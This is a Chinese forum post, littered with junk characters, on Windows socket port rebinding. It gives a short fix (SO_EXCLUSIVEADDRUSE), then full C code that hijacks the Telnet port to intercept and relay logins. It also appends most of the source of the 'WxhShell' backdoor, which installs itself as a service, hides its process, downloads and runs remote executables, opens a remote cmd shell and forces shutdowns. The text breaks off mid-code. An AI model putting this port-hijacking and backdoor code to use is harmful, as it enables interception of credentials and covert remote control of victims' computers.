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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |9x H9@^f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '\4 @ pe@j`Sm:Ej saddr.sin_family = AF_INET; 9LK<u $C ["}Yp saddr.sin_addr.s_addr = htonl(INADDR_ANY); [
m#|[% vq;_x bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^wTod\y (N/KP+J$n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o3kVcX^ e>~7RN 这意味着什么?意味着可以进行如下的攻击: Puodsd @p$$BUb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v#`7,:: n04lTME 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A.>L>uR fXfO9{E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l6z}D;4 {wy#HYhv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \`N<0COP c@<vFoq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _X"G( Y2 QX9RN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 04}" n )D>= \Me 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *wNO3tP't Di>B:= #include /+g)J0u #include Kjfpq!NYE #include iW$f1=i #include PH6NU&H DWORD WINAPI ClientThread(LPVOID lpParam); #24eogo~ int main()
~uRL+<.c { 9f7T.}HM WORD wVersionRequested; \$[;
d:9j DWORD ret; ]aqg{XdGt WSADATA wsaData; pj/w9j G6 BOOL val; ML-?#jNa< SOCKADDR_IN saddr; ]^c]* O[8 SOCKADDR_IN scaddr; +u|p<z int err; =lG/A[66 SOCKET s; d@#wK~I SOCKET sc; FdFN4{<QZ int caddsize; ^Z`?mNq9 HANDLE mt; Uh=@8v DWORD tid; JVawWw0q wVersionRequested = MAKEWORD( 2, 2 ); 4 /Q4sE~< err = WSAStartup( wVersionRequested, &wsaData ); 29~Bu5 if ( err != 0 ) { w$%1j+%& printf("error!WSAStartup failed!\n"); 4o``t] return -1; A$;"9F@ } H(,D5y`k1 saddr.sin_family = AF_INET; s?pd&_kOv3 7,:$, bL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hH])0C ]UFbG40Zo saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QxS=W2iN saddr.sin_port = htons(23); V9cKl[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GiGXV @dq { J_ y+.p-
5 printf("error!socket failed!\n"); K]s*rPT/, return -1; oasEG6OI8 } Exu>% val = TRUE; "CcdwWM //SO_REUSEADDR选项就是可以实现端口重绑定的 y3{F\K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N_^s;Qj { lS!uL9t. printf("error!setsockopt failed!\n"); >jH%n(TcC return -1; TOC2[mc' } Ptj[9R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (W'.vEl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LzE$z, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zvAUF8'_ ;I@@PUnR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l Taw6; { j,@@[{tu ret=GetLastError(); D_2~
6 printf("error!bind failed!\n"); vWpoaz/w return -1; v62O+{ } 'wm :Xa listen(s,2); `j)S7KN while(1) s.qo/o\b { {.mPe| caddsize = sizeof(scaddr); :+*q,lX8 //接受连接请求 x_VD9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o.|P7{v} if(sc!=INVALID_SOCKET) 9hn+eU { n4%ZR~9WH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kACgP!~/1 if(mt==NULL) <g3)!VR^q { tkjQSz printf("Thread Creat Failed!\n"); E8LA+dKN: break; 6)j4- } 6#gS`X23Y } )oAx t70 CloseHandle(mt); ~dz,eB } m]Gxep0% closesocket(s); F)n^pT WSACleanup(); :XFr"aSt return 0; R!Lh~~@{( } ?_V&~?r DWORD WINAPI ClientThread(LPVOID lpParam) z}z 6Vg { %<]4]h SOCKET ss = (SOCKET)lpParam; qSA]61U& SOCKET sc; (<KFA, unsigned char buf[4096]; ,$A'Y SOCKADDR_IN saddr; dYxX%"J long num; kH'zTO1 DWORD val; 0aM&+j\q} DWORD ret; Qo$j'|lD //如果是隐藏端口应用的话,可以在此处加一些判断 iO@UzD#v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 9,c_(%C saddr.sin_family = AF_INET; +{h.nqdAE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SPN5H;{[]K saddr.sin_port = htons(23);
kJ[r.)HU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P+:DLex { HE|XDcYO printf("error!socket failed!\n"); KBOp}MEz return -1; !*G%vOa } NXHe;G val = 100; u8Ak2:
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \`U=pZJ { XT%\Ce! ret = GetLastError(); r\T'_wo return -1; /nWBo l, } SUC'o" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E*AI}:or; { @s.civ!Yk ret = GetLastError(); sXaudT return -1; N3(.7mxo } ORx6r=zg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qd<-{ { Lvd es.0| printf("error!socket connect failed!\n"); v2l*n closesocket(sc); cw3j&k closesocket(ss); W7#dc89} return -1; 8vqx}2 } vdIert?p while(1) Bw/8-:eb { %urd;h D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x:$ xtu //如果是嗅探内容的话,可以再此处进行内容分析和记录 0PD=/fh[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mgE
r+ num = recv(ss,buf,4096,0); z5p5=KOb if(num>0) ZA+w7S3 send(sc,buf,num,0); 6o
d^+>U else if(num==0) Y*/e;mG. break; 1I?`3N num = recv(sc,buf,4096,0); 2h:{6Gq8 if(num>0) =6'Fm$R send(ss,buf,num,0); 6,cJ3~!48 else if(num==0) cDIZkni= break; p1N3AhXY } bRD-[) closesocket(ss); VVJIJ9L&C closesocket(sc); 9? y&/D5O return 0 ; H<9_BA? } H~
E<ek'~ %<0'xJ%%Q [\3W_jR ========================================================== |Kb
m74Z% FBxg^g%PB@ 下边附上一个代码,,WXhSHELL MfZamu5+F $p|Im, ========================================================== ^Na3VP `a `>Mtl #include "stdafx.h" yV*jc`1
|Iknk, #include <stdio.h> goe%'k, #include <string.h> .*edaDi #include <windows.h> FsLd&$?T& #include <winsock2.h> GL%)s?
#include <winsvc.h> h
S)lQl:^ #include <urlmon.h> 2]]}Xvx4# h~lps?.#b #pragma comment (lib, "Ws2_32.lib") ot0g@q[3 #pragma comment (lib, "urlmon.lib") 5PsjGvm.% Ya4yW9* #define MAX_USER 100 // 最大客户端连接数 #mYe@[p@ #define BUF_SOCK 200 // sock buffer UD=[::## #define KEY_BUFF 255 // 输入 buffer \%&):OD1 D"gv:RojD #define REBOOT 0 // 重启 C8W_f( i~ #define SHUTDOWN 1 // 关机 xXlx}C `S+n,,l #define DEF_PORT 5000 // 监听端口 iJH?Z,Tjf g/frg(KF #define REG_LEN 16 // 注册表键长度 ;nrkC\SYh: #define SVC_LEN 80 // NT服务名长度 t$
97[ay }
m"':f // 从dll定义API .k$Yleg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6l:uQz9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dn)B19b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B@v
(ZY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 85e*um^ _6!iv // wxhshell配置信息 lid0
YK- struct WSCFG { !mmSF1f int ws_port; // 监听端口 b;FaTm@ char ws_passstr[REG_LEN]; // 口令 }@"v7X $ int ws_autoins; // 安装标记, 1=yes 0=no v"o_V| char ws_regname[REG_LEN]; // 注册表键名 `=S%!akj char ws_svcname[REG_LEN]; // 服务名 x2TE[#>< char ws_svcdisp[SVC_LEN]; // 服务显示名 |8tKN"QG char ws_svcdesc[SVC_LEN]; // 服务描述信息 =YIosmr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YYL3a=;`a int ws_downexe; // 下载执行标记, 1=yes 0=no E
6+ ooB[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" P%ThW9^vnj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >;l rH& -24ccN; }; P_5 G'[ Cn0s?3Fm // default Wxhshell configuration HQ wrb HS struct WSCFG wscfg={DEF_PORT, fw
VI%0C@ "xuhuanlingzhe", "!_vQ^y 1, gF`hlYD "Wxhshell", Xvk+1:D "Wxhshell", $&!|G-0' "WxhShell Service", <*+[E!oi "Wrsky Windows CmdShell Service", UoaWI2 "Please Input Your Password: ", -g:i'e 1, g}S%D(~ " http://www.wrsky.com/wxhshell.exe", f:t j
"Wxhshell.exe" 6q8PLyIp }; M)U)Sc zHO rp^:{6O // 消息定义模块
[aG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4T$DQK@e char *msg_ws_prompt="\n\r? for help\n\r#>"; &bGf{P*Da char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; d,o*{sM5d char *msg_ws_ext="\n\rExit."; bN6i *)} char *msg_ws_end="\n\rQuit."; )?I*zc char *msg_ws_boot="\n\rReboot..."; P,b&F char *msg_ws_poff="\n\rShutdown..."; cltx(C> char *msg_ws_down="\n\rSave to "; qA[cF$CIl) mN>(n+ly char *msg_ws_err="\n\rErr!"; Q+/P>5O/ char *msg_ws_ok="\n\rOK!"; :sw@1 z`eMb char ExeFile[MAX_PATH]; :Gzp
(@<@e int nUser = 0; f]mVM(XZN HANDLE handles[MAX_USER]; R\Ckk;<$ int OsIsNt; R](cko= }#2(WHf=< SERVICE_STATUS serviceStatus; 6y "]2UgQk SERVICE_STATUS_HANDLE hServiceStatusHandle; )TyP{X> ;U$Rd,T4S // 函数声明 p>f?Rw_ int Install(void); !]5V{3 int Uninstall(void); 17`-eDd int DownloadFile(char *sURL, SOCKET wsh); M`8c|*G int Boot(int flag); hd,O/-m# void HideProc(void); 4CtWEq int GetOsVer(void); u?rX:KkS int Wxhshell(SOCKET wsl); fdHFSnQ g void TalkWithClient(void *cs); bR1Q77<G\ int CmdShell(SOCKET sock); 7F_N{avr int StartFromService(void); Z$r7Hi int StartWxhshell(LPSTR lpCmdLine); ur7S
K(# <:&{ c-f/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FUZuS!sJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7z&$\qu2 h(GSM'v // 数据结构和表定义 ,b5vnW\ SERVICE_TABLE_ENTRY DispatchTable[] = IxG7eX! { )/Gi-:: {wscfg.ws_svcname, NTServiceMain}, d c_2nF {NULL, NULL} PRNq8nmxC }; )]LP8
J& /{P-WRz> // 自我安装 j,SZJ{ebXg int Install(void) yqtaQ0F~ { gIIF17|Z char svExeFile[MAX_PATH]; 7TU xdI HKEY key; ^t *Ba>A strcpy(svExeFile,ExeFile); 1*'gaa&y !N_eZPU.v // 如果是win9x系统,修改注册表设为自启动 US"UkY-\ if(!OsIsNt) { Pp_? z0M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ra6 }<o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rZ)7(0BBs RegCloseKey(key); g$vOWSI+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |/$954Hr#< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RTDplv; ] RegCloseKey(key); A0,e3gb return 0; ~=t9-AF- } hs:iyr]@9 } SSyARR+;c } sTep2W.9 else { ;j[:tt\k 5R%y3::$S // 如果是NT以上系统,安装为系统服务
=zDvZ(5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ):nC%0V if (schSCManager!=0) (_+ux1h6^ { R3LIN-g( SC_HANDLE schService = CreateService :zvAlt'q= ( fC[~X[H schSCManager, )O$S3ojZ wscfg.ws_svcname, Z c#Jb wscfg.ws_svcdisp, M _lLP8W} SERVICE_ALL_ACCESS, D~|q^Ms,% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5*Qzw[[= SERVICE_AUTO_START, 8<32(D{ SERVICE_ERROR_NORMAL, E1`_[=8a9 svExeFile, R~|(]#com NULL, ,U+>Q!$`\^ NULL, J, +/<Y! NULL, #?eMEws NULL, dWe%6s;
NULL ep Dp* ); J83C]2~7 if (schService!=0) Kb-m { VVpJ + CloseServiceHandle(schService); VR A+p?7- CloseServiceHandle(schSCManager); A/fM30 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A:(qF.Tm strcat(svExeFile,wscfg.ws_svcname); sIl&\g<b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h(3-/4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4L4u< RegCloseKey(key); ne 3t|JZ return 0; l Ft&cy2 } tp }Bz&V } wlslG^^(! CloseServiceHandle(schSCManager); F g'{K%t4 } g[~J107%A } \"
m&WFm Nez '1 return 1; x{GFCy7 } so| U&`G <X5ge>. // 自我卸载 $fT#Wva-\d int Uninstall(void) ,t9CP { -mo4`F HKEY key; -7o-d-d F ac966<# if(!OsIsNt) { 8<KC-|y. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ol>/^3a= RegDeleteValue(key,wscfg.ws_regname); \5=4!Ez RegCloseKey(key); |}/KueZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qw|y%Td8r RegDeleteValue(key,wscfg.ws_regname); RzFxO RegCloseKey(key); Jw^my4 return 0; UlKg2p } l|vT[X/g } "?W8o[c+ } !x||ObW\H else { !L3|5:j
bk i:u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9>vB,8 if (schSCManager!=0) &Fjyi"8(r { : t75iB= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aD6!x3c/ if (schService!=0) 7 n^1H[q { cS@p`A7Tpo if(DeleteService(schService)!=0) { -Ekf T_ CloseServiceHandle(schService); *"6A>:rQs CloseServiceHandle(schSCManager); =4&"fZ"v return 0; ]@}hyM[D; } TC@F*B; CloseServiceHandle(schService); !1]jk(Z } s$0dLEa9 CloseServiceHandle(schSCManager); X &G]ci } 1!E}A!; } ]=/?Ooh Tn(uH17 return 1; /+. m.TF } 0 N0< 4b EaH/Gg3 // 从指定url下载文件 [D?d~pB int DownloadFile(char *sURL, SOCKET wsh) /rK/l { g0s4ZI+T HRESULT hr; CDr0QM4k:. char seps[]= "/"; LcNI$g;}Yf char *token; f}ch1u> char *file; fjuPGg~ char myURL[MAX_PATH]; *#@{&Q(Qh char myFILE[MAX_PATH]; ,:V[H8 ? 1:./f|m strcpy(myURL,sURL); I?%#`Rvu token=strtok(myURL,seps); iU=:YPE+. while(token!=NULL) u09D`QPP] { ,W/Y@ScC file=token; z U*Mk token=strtok(NULL,seps); AXnKhYlu } (OavgJ+Y D$w? GetCurrentDirectory(MAX_PATH,myFILE); -$@'@U strcat(myFILE, "\\"); hQNUA|Q=% strcat(myFILE, file); h7m$P^=U send(wsh,myFILE,strlen(myFILE),0); &Wk:>9]Jrb send(wsh,"...",3,0); TQ[J, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _.EM])b if(hr==S_OK) C8}=fa3u return 0; E>2AG3) else ?#nk}=;g8 return 1; ~*~aFf5 [i>D|X } Eq8:[o E(f|LG[I // 系统电源模块 ?[DVYP int Boot(int flag) ]!/R tt { P86wRq
HANDLE hToken; vAOThj) TOKEN_PRIVILEGES tkp;
Wkr31Du\K Vyc if(OsIsNt) { "{~^EQq, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y
7?q` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;rnhv:Iw tkp.PrivilegeCount = 1; YhN:t? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a'*~E?b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); whGtVx|zR if(flag==REBOOT) { SK*<H~2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P$@:T[}v return 0; 3q6FV7Fv&b } 9c5DEq else { Fa{[kJ8z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "1p,
r&} return 0; KmWd$Qy, } KR%NgV+}!0 } 'mF&`BN}b else { *w6F0>u if(flag==REBOOT) { G1I<B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) };gcM@]]E return 0;
Mi}k>5VT } ogV v 8Xb else { |F qujZz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
?dk)2 return 0; |ss4pN0X } `+0P0(bn } 9pk-#/ag ?-<>he return 1; SF"r</c[ } R#rfnP >
5E}]U,$ // win9x进程隐藏模块 bJynUZ void HideProc(void) Iy5)SZ' { \"Qa)1| uOh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LF+E5{=:R if ( hKernel != NULL ) a?X@ D<.; { xF
3Z> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $j4/ohwTDY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &,\my-4c> FreeLibrary(hKernel); wz Y{ii } 1>umf~%Wa [LV>z return; Su+[Q6oC@ } L_M(Lj bJw{ U. // 获取操作系统版本 w5t|C> int GetOsVer(void) Nkn2\w { #TB
3|= OSVERSIONINFO winfo; /#?!9c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o Z%oP V: GetVersionEx(&winfo); Pa?C-Xn^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) meGLT/
return 1; E0u&hBd3_ else c&PaJm return 0; 7IrH(~Fo } 3A.lS+P1 :+8qtIytKX // 客户端句柄模块 {?r5~T`2 int Wxhshell(SOCKET wsl) Sj viH { e`K{ SOCKET wsh; Ve xxdg struct sockaddr_in client; yMpZ-b$*~ DWORD myID; \86NV="U ghTue*A while(nUser<MAX_USER) O]oH}#5b { N]F}Z#h int nSize=sizeof(client); ku#WQL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M5N#xgR if(wsh==INVALID_SOCKET) return 1; ]UGk"s5A h1$75E?, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h"f_T
[ if(handles[nUser]==0) ,hp8b$ closesocket(wsh); l4U else c/l^;6O/!\ nUser++; \4O_@d`A } C>QWV[F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tz&h[+ 6` v]}\Ns/ return 0; YhP+{Y8t } _
Ewkb s|k&@jH) // 关闭 socket TK0W=&6#A void CloseIt(SOCKET wsh) OMBH[_ { \Qf2:[-V0 closesocket(wsh); W<$!H
V$ nUser--; |FSp`P ExitThread(0); Q!r` G } aYc^ 9*7 !.499H3 // 客户端请求句柄 !1Ht{cA0 void TalkWithClient(void *cs) /.>%IcK
{ Z,V<&9a; K87yQOjPv SOCKET wsh=(SOCKET)cs; F?qg?1vB| char pwd[SVC_LEN]; s(r4m/ char cmd[KEY_BUFF]; KxWm63" char chr[1]; 0g#x QzE int i,j; Y+5aT(6O bGxHzzU} while (nUser < MAX_USER) { D&qJ@PR oqzWL~ if(wscfg.ws_passstr) { bV+2U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aj<r= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e%IbME]x //ZeroMemory(pwd,KEY_BUFF); m>*~tP i=0; }i^$
li@ while(i<SVC_LEN) { `Q[NrOqe" +zEyCx=8H // 设置超时 hS&.-5v fd_set FdRead; 2UxmKp[ struct timeval TimeOut; #5iy^?N"w FD_ZERO(&FdRead); [GcW*v FD_SET(wsh,&FdRead); yq[@Cw TimeOut.tv_sec=8; xqQK-?k TimeOut.tv_usec=0; !'B=']. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gMp' S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oN`khS]_v0 R*r"}; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p6ryUJc6 pwd =chr[0]; 45OAJ?N if(chr[0]==0xd || chr[0]==0xa) { nYe:$t3F= pwd=0; 9Q'[>P=1 break; p1W6 s0L } )KGz -!1c i++; 1MmEP } Qj$w7*U wJ"]H!r0 // 如果是非法用户,关闭 socket 4um^7Ns)7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0%)T]SDS } k=&n>P }7_$[r'_oI send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E()%IC/R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gdq6jz }_('3C,Ba while(1) { &(e5*Q cwzgIm+ ZeroMemory(cmd,KEY_BUFF); C>SOd] ^'fgQyj // 自动支持客户端 telnet标准 A6 `a j=0; cIcu=U while(j<KEY_BUFF) { +r&:c[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /y6I I$AvM cmd[j]=chr[0]; f.$*9Fkw if(chr[0]==0xa || chr[0]==0xd) { qW'L}x cmd[j]=0; J~50#vHY break; Nr).*]g@~ } dGz4`1(> j++; ]wi0qc2{ } D4uAwmc V^rL // 下载文件 5=%KK3 if(strstr(cmd,"http://")) { iio-RT?! send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kmw #Q` if(DownloadFile(cmd,wsh)) .Lu3LVS send(wsh,msg_ws_err,strlen(msg_ws_err),0); &I%E8E else *LuRo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4C;y2`C } 9,JWi{lIv else { K}2G4*8S_G yvnDS"0< switch(cmd[0]) { $PAAmaigi !Ce!D0Tx // 帮助 .2s^8 g O case '?': { *2rc Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E VC]B} break; M|zTs\1I } !
h92dH // 安装 eTay/i<- case 'i': { 7[!dm_ if(Install()) ~qIr'?D send(wsh,msg_ws_err,strlen(msg_ws_err),0); f^ZhFu? else pM}~/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7B\Q5fLQ break; $15H_X*! } Rjv;[ // 卸载 !IA\c(c^ case 'r': { .!Kqcz% A if(Uninstall()) \CVHtV send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xo&\~b#- else YD0hDp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VR\}*@pNp break; M"bG(a(6: } e`q*'u1? // 显示 wxhshell 所在路径 +r9neS.l case 'p': { "z;R"sv\ char svExeFile[MAX_PATH]; ~"<^4h strcpy(svExeFile,"\n\r"); 9v?@2sOoE strcat(svExeFile,ExeFile); !2^~ar{2 send(wsh,svExeFile,strlen(svExeFile),0); WuFBt=% break; TdT`Vf } =LKM)d=1 // 重启 _zi| GD case 'b': { 8R:Glif send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O0s!3hKu if(Boot(REBOOT)) 08D:2 z1z send(wsh,msg_ws_err,strlen(msg_ws_err),0); FSAX,Y else { C"%B>e closesocket(wsh); (|rf>=B+H ExitThread(0); /oLY\>pD } MLg{Y?@ break; _[-W*,xJ) } xR|^{y9n // 关机 TbN{ex* case 'd': { ,D]g]#Lq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 72.Msnn if(Boot(SHUTDOWN)) pnyu&@e send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bq1}"092 else { ewHs ]V+U closesocket(wsh); !n P4S)A ExitThread(0); Q\T?t } 8 H3u" break; kFC*, } g_N^Y // 获取shell Jj5VBI!Ok case 's': {
S~E@A.7 CmdShell(wsh); {
0&l*@c& closesocket(wsh); &43c/TSb ExitThread(0); c))?9H
,e) break; \nPf\6;M } "Dc\w@`E 0 // 退出 Cl-P6NlR". case 'x': { odC"#Rb send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xo]2iQy CloseIt(wsh); <lWj-+m break; }f14# y; } xkax // 离开 i3Bpim. case 'q': { a]xGzv5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); |WEl5 bNc3 closesocket(wsh); X!mJUDzh] WSACleanup(); u[Si=)`VPk exit(1); `JpFqZ'58 break; 6vR6=@(`> } Y_n3O@, } {"%a-*@% } kh:_,g Lo#G. s| // 提示信息 ('U TjV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F:q8.^HTJ } _X mxBtk9f } aq8./^ #;W4$q return; }+G5i_a } ~ {yy{ ]Y!Fz<-;P // shell模块句柄 %7P]:G+Y\ int CmdShell(SOCKET sock) .P/0`A{& { Ui" {0% STARTUPINFO si; _q4O2Fx0 ZeroMemory(&si,sizeof(si)); FQ1B%u| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s}OL)rW=} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9+PAyI#w PROCESS_INFORMATION ProcessInfo; |iX>hJSl char cmdline[]="cmd"; 0B!(i.w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ipg`8*My return 0; EU%v
|] } cz/cY:o) b1jDbiH& // 自身启动模式 k ,+,,W int StartFromService(void) PnInsf%; { q5= ,\S3= typedef struct ^v'0\(H?P { W Zm8!Y DWORD ExitStatus; czpu^BT;;T DWORD PebBaseAddress; }2"W0ZdWD DWORD AffinityMask; R=D}([pi DWORD BasePriority; =b>TF B=*N ULONG UniqueProcessId; qHdUnW ULONG InheritedFromUniqueProcessId; , QWus"5H } PROCESS_BASIC_INFORMATION; Xq03o#-p+ nKS*y* PROCNTQSIP NtQueryInformationProcess; "aCB} #k|f>D4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @6tczU}ak static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;-@: }/ 0XCAnMVo HANDLE hProcess; 6QbDU[ PROCESS_BASIC_INFORMATION pbi;
